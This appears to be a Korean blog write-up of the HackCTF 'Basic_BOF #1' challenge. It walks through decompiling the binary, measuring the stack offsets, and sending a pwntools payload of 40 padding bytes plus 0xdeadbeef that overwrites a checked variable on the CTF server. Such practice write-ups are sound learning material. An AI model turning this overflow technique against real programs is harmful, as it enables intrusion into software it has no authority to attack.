본문 바로가기

Write-Up/HackCTF

[HackCTF] Basic_BOF #1

bof_basic 다운

 

IDA로 까보니 소스파일을 얻을 수 있다.

 

char s; // [esp+4h] [ebp-34h]
int v5; // [esp+2Ch] [ebp-Ch]

 

s = ebp - 34h = 52

v5 = ebp -Ch = 12

 

ret
sfp
v5
s

fgets = 45개를 받으니 충분히 overflow를 발생시킬수 있을거같다.

 

 

v5 == -559038737이면 solve

 

-559038737는 10진수니 16진수로 바꿔서 넣어주자

16진수로 변환시 0xdeadbeef

from pwn import *
context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz",3000)
pay = "\x90"*40 + "\xef\xbe\xad\xde"
p.sendline(pay)
p.interactive()

 

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2021.05.16
[HackCTF] x64 Buffer Overflow  (0) 2021.05.16
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.05.15
[HackCTF] Basic_FSB  (0) 2021.05.15
[HackCTF] Basic_BOF #2  (0) 2021.05.15